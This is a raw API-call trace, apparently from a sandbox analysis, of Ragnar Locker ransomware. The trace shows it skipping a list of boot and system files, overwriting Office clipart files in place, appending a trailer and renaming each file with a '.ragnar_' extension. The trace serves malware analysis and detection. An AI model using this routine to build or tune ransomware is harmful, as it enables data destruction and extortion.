[0089.807] lstrcpyW (in: lpString1=0x1eb62e, lpString2="PE03459_.WMF" | out: lpString1="PE03459_.WMF") returned="PE03459_.WMF" [0089.807] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03459_.WMF") returned=".WMF" [0089.807] lstrcmpiW (lpString1="PE03459_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0089.807] lstrcmpiW (lpString1="PE03459_.WMF", lpString2="autorun.inf") returned 1 [0089.807] lstrcmpiW (lpString1="PE03459_.WMF", lpString2="boot.ini") returned 1 [0089.807] lstrcmpiW (lpString1="PE03459_.WMF", lpString2="bootfont.bin") returned 1 [0089.807] lstrcmpiW (lpString1="PE03459_.WMF", lpString2="bootsect.bak") returned 1 [0089.807] lstrcmpiW (lpString1="PE03459_.WMF", lpString2="bootmgr") returned 1 [0089.807] lstrcmpiW (lpString1="PE03459_.WMF", lpString2="bootmgr.efi") returned 1 [0089.807] lstrcmpiW (lpString1="PE03459_.WMF", lpString2="bootmgfw.efi") returned 1 [0089.807] lstrcmpiW (lpString1="PE03459_.WMF", lpString2="desktop.ini") returned 1 [0089.807] lstrcmpiW (lpString1="PE03459_.WMF", lpString2="iconcache.db") returned 1 [0089.807] lstrcmpiW (lpString1="PE03459_.WMF", lpString2="ntldr") returned 1 [0089.807] lstrcmpiW (lpString1="PE03459_.WMF", lpString2="ntuser.dat") returned 1 [0089.807] lstrcmpiW (lpString1="PE03459_.WMF", lpString2="ntuser.dat.log") returned 1 [0089.807] lstrcmpiW (lpString1="PE03459_.WMF", lpString2="ntuser.ini") returned 1 [0089.807] lstrcmpiW (lpString1="PE03459_.WMF", lpString2="thumbs.db") returned -1 [0089.807] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0089.808] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0089.808] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0089.808] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0089.808] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0089.808] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0089.808] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0089.808] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03459_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe03459_.wmf")) returned 0x20 [0089.808] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03459_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe03459_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0089.809] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=8568) returned 1 [0089.809] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x216f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.809] GetProcessHeap () returned 0x580000 [0089.809] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0089.809] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0089.810] VirtualAlloc (lpAddress=0x0, dwSize=0x2178, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0089.810] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.810] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0089.811] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x2178, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x2178, lpOverlapped=0x0) returned 1 [0089.811] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0089.812] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x2178, nNumberOfBytesToLockHigh=0x0) returned 1 [0089.812] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x2178, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x2178, lpOverlapped=0x0) returned 1 [0089.812] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x2178, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0089.812] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0089.812] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x2178, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.812] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0089.812] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0089.812] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0089.812] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0089.812] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0089.812] GetProcessHeap () returned 0x580000 [0089.812] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0089.812] CloseHandle (hObject=0xf4) returned 1 [0089.813] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03459_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03459_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03459_.WMF" [0089.813] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03459_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03459_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03459_.WMF.ragnar_FD7BD9FC" [0089.813] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03459_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe03459_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03459_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe03459_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0089.813] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6cdb1210, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1664, dwReserved0=0x0, dwReserved1=0x0, cFileName="PE03464_.WMF", cAlternateFileName="")) returned 1 [0089.813] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0089.813] lstrcpyW (in: lpString1=0x1eb62e, lpString2="PE03464_.WMF" | out: lpString1="PE03464_.WMF") returned="PE03464_.WMF" [0089.813] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03464_.WMF") returned=".WMF" [0089.813] lstrcmpiW (lpString1="PE03464_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0089.813] lstrcmpiW (lpString1="PE03464_.WMF", lpString2="autorun.inf") returned 1 [0089.813] lstrcmpiW (lpString1="PE03464_.WMF", lpString2="boot.ini") returned 1 [0089.813] lstrcmpiW (lpString1="PE03464_.WMF", lpString2="bootfont.bin") returned 1 [0089.813] lstrcmpiW (lpString1="PE03464_.WMF", lpString2="bootsect.bak") returned 1 [0089.813] lstrcmpiW (lpString1="PE03464_.WMF", lpString2="bootmgr") returned 1 [0089.814] lstrcmpiW (lpString1="PE03464_.WMF", lpString2="bootmgr.efi") returned 1 [0089.814] lstrcmpiW (lpString1="PE03464_.WMF", lpString2="bootmgfw.efi") returned 1 [0089.814] lstrcmpiW (lpString1="PE03464_.WMF", lpString2="desktop.ini") returned 1 [0089.814] lstrcmpiW (lpString1="PE03464_.WMF", lpString2="iconcache.db") returned 1 [0089.814] lstrcmpiW (lpString1="PE03464_.WMF", lpString2="ntldr") returned 1 [0089.814] lstrcmpiW (lpString1="PE03464_.WMF", lpString2="ntuser.dat") returned 1 [0089.814] lstrcmpiW (lpString1="PE03464_.WMF", lpString2="ntuser.dat.log") returned 1 [0089.814] lstrcmpiW (lpString1="PE03464_.WMF", lpString2="ntuser.ini") returned 1 [0089.814] lstrcmpiW (lpString1="PE03464_.WMF", lpString2="thumbs.db") returned -1 [0089.814] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0089.814] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0089.814] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0089.814] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0089.814] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0089.814] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0089.814] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0089.814] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03464_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe03464_.wmf")) returned 0x20 [0089.814] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03464_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe03464_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0089.814] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=5732) returned 1 [0089.815] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x165b, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.815] GetProcessHeap () returned 0x580000 [0089.815] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0089.815] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0089.816] VirtualAlloc (lpAddress=0x0, dwSize=0x1664, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0089.816] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.816] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0089.816] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x1664, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x1664, lpOverlapped=0x0) returned 1 [0089.817] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0089.817] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1664, nNumberOfBytesToLockHigh=0x0) returned 1 [0089.817] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x1664, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x1664, lpOverlapped=0x0) returned 1 [0089.817] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1664, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0089.817] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0089.818] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x1664, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.818] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0089.818] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0089.818] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0089.818] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0089.818] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0089.818] GetProcessHeap () returned 0x580000 [0089.818] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0089.818] CloseHandle (hObject=0xf4) returned 1 [0089.818] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03464_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03464_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03464_.WMF" [0089.818] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03464_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03464_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03464_.WMF.ragnar_FD7BD9FC" [0089.818] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03464_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe03464_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03464_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe03464_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0089.819] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6cdb1210, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x41a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PE03466_.WMF", cAlternateFileName="")) returned 1 [0089.819] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0089.819] lstrcpyW (in: lpString1=0x1eb62e, lpString2="PE03466_.WMF" | out: lpString1="PE03466_.WMF") returned="PE03466_.WMF" [0089.819] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03466_.WMF") returned=".WMF" [0089.819] lstrcmpiW (lpString1="PE03466_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0089.819] lstrcmpiW (lpString1="PE03466_.WMF", lpString2="autorun.inf") returned 1 [0089.819] lstrcmpiW (lpString1="PE03466_.WMF", lpString2="boot.ini") returned 1 [0089.819] lstrcmpiW (lpString1="PE03466_.WMF", lpString2="bootfont.bin") returned 1 [0089.819] lstrcmpiW (lpString1="PE03466_.WMF", lpString2="bootsect.bak") returned 1 [0089.819] lstrcmpiW (lpString1="PE03466_.WMF", lpString2="bootmgr") returned 1 [0089.819] lstrcmpiW (lpString1="PE03466_.WMF", lpString2="bootmgr.efi") returned 1 [0089.819] lstrcmpiW (lpString1="PE03466_.WMF", lpString2="bootmgfw.efi") returned 1 [0089.819] lstrcmpiW (lpString1="PE03466_.WMF", lpString2="desktop.ini") returned 1 [0089.819] lstrcmpiW (lpString1="PE03466_.WMF", lpString2="iconcache.db") returned 1 [0089.819] lstrcmpiW (lpString1="PE03466_.WMF", lpString2="ntldr") returned 1 [0089.819] lstrcmpiW (lpString1="PE03466_.WMF", lpString2="ntuser.dat") returned 1 [0089.819] lstrcmpiW (lpString1="PE03466_.WMF", lpString2="ntuser.dat.log") returned 1 [0089.819] lstrcmpiW (lpString1="PE03466_.WMF", lpString2="ntuser.ini") returned 1 [0089.819] lstrcmpiW (lpString1="PE03466_.WMF", lpString2="thumbs.db") returned -1 [0089.819] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0089.819] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0089.819] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0089.819] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0089.820] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0089.820] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0089.820] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0089.820] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03466_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe03466_.wmf")) returned 0x20 [0089.820] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03466_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe03466_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0089.820] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=16800) returned 1 [0089.820] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x4197, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.820] GetProcessHeap () returned 0x580000 [0089.820] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0089.820] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0089.822] VirtualAlloc (lpAddress=0x0, dwSize=0x41a0, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0089.822] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.822] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0089.822] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x41a0, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x41a0, lpOverlapped=0x0) returned 1 [0089.823] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0089.823] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x41a0, nNumberOfBytesToLockHigh=0x0) returned 1 [0089.823] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x41a0, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x41a0, lpOverlapped=0x0) returned 1 [0089.823] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x41a0, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0089.823] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0089.824] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x41a0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.824] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0089.824] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0089.824] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0089.824] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0089.824] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0089.824] GetProcessHeap () returned 0x580000 [0089.824] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0089.824] CloseHandle (hObject=0xf4) returned 1 [0089.824] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03466_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03466_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03466_.WMF" [0089.824] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03466_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03466_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03466_.WMF.ragnar_FD7BD9FC" [0089.824] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03466_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe03466_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03466_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe03466_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0089.825] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6cdb1210, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x3998, dwReserved0=0x0, dwReserved1=0x0, cFileName="PE03470_.WMF", cAlternateFileName="")) returned 1 [0089.825] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0089.825] lstrcpyW (in: lpString1=0x1eb62e, lpString2="PE03470_.WMF" | out: lpString1="PE03470_.WMF") returned="PE03470_.WMF" [0089.825] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03470_.WMF") returned=".WMF" [0089.825] lstrcmpiW (lpString1="PE03470_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0089.825] lstrcmpiW (lpString1="PE03470_.WMF", lpString2="autorun.inf") returned 1 [0089.825] lstrcmpiW (lpString1="PE03470_.WMF", lpString2="boot.ini") returned 1 [0089.825] lstrcmpiW (lpString1="PE03470_.WMF", lpString2="bootfont.bin") returned 1 [0089.825] lstrcmpiW (lpString1="PE03470_.WMF", lpString2="bootsect.bak") returned 1 [0089.825] lstrcmpiW (lpString1="PE03470_.WMF", lpString2="bootmgr") returned 1 [0089.825] lstrcmpiW (lpString1="PE03470_.WMF", lpString2="bootmgr.efi") returned 1 